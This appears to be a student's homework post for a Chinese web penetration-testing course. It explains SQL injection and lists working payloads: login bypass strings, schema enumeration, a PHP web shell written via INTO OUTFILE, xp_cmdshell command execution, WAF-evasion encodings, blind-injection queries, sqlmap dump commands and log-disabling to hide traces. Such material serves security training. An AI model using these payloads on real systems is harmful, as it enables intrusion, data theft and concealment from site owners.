本帖最后由 Y_Y 于 2025-4-2 18:37 编辑
WEB渗透测试工程师系统班250303期 第13节课作业
1. SQL注入漏洞的原理是什么? 本质:用户输入被误解析为SQL代码的一部分。 SQL注入是一种通过操纵输入数据来篡改SQL查询逻辑的攻击技术,攻击者利用此漏洞可以绕过认证、窃取数据甚至控制数据库服务器。 2. SQL注入漏洞的危害是什么? 1.数据泄露 2.数据被篡改和破坏 3.植入挖矿脚本或木马 3. SQL注入漏洞的利用思路? 一、漏洞探测阶段1. 寻找注入点
经典探测Payload:
' -- 触发语法错误(判断是否动态拼接);
"OR 1=1 -- -- 恒真条件测试
2. 判断数据库类型和版本
二、信息收集阶段
1. 获取数据库结构
-- 获取所有数据库名
SELECT schema_name FROM information_schema.schemata;
-- 获取当前数据库表名
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
-- 获取users表的列名
SELECT column_name FROM information_schema.columns WHERE table_name='users';
2. 提取关键数据
靶向攻击敏感表:
-- 获取管理员密码
SELECT username, password FROM admins LIMIT 1;
三、漏洞深度利用
1. 绕过认证
经典登录绕过:
admin' --
admin' OR '1'='1'
' UNION SELECT 'admin', 'md5hash' FROM admins --
2. 数据导出MySQL文件写入:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
(需secure_file_priv权限)
3. 命令执行 SQL Server扩展存储过程:
EXEC xp_cmdshell 'whoami';
Oracle Java执行:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper cmd.exe /c dir') FROM dual;
四、高级绕过技术
1. WAF绕过技巧
编码混淆:
/*!SELECT*/ 1; -- MySQL内联注释
S%ELE%CT 1; -- URL编码
等价替换:
OR 1=1 → OR 2>1UNION SELECT → UNION ALL SELECT
2. 盲注利用
布尔盲注(通过条件响应判断):
AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'
时间盲注(利用延时函数):
IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)
五、自动化工具链
1. sqlmap实战命令
# 基础检测sqlmap -u "http://example.com/?id=1" --batch
# 获取所有数据sqlmap -u "http://example.com/?id=1" --dump-all
# 绕过WAFsqlmap -u "http://example.com/?id=1" --tamper=space2comment
2. Burp Suite辅助Intruder模块爆破表名:
' AND (SELECT 1 FROM users WHERE table_name LIKE 'a%')=1 --
六、防御规避与痕迹清理
1.禁用日志记录:
SET GLOBAL general_log = 'OFF';
2.使用TOR网络隐藏IP。
七、漏洞修复验证
参数化查询验证:
# 安全写法(Python示例)cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
4. 在一个真实站点,哪些功能点会存在SQL注入漏洞? 真实站点中,任何接收用户输入并与数据库交互的功能点都可能存在SQL注入,尤其是老旧系统、快速开发的Web应用和未经验证的API接口。攻击者通常优先测试登录、搜索、URL参数、头像上传等高频交互点。 实际操作课堂讲解的yakit sql注入靶场
|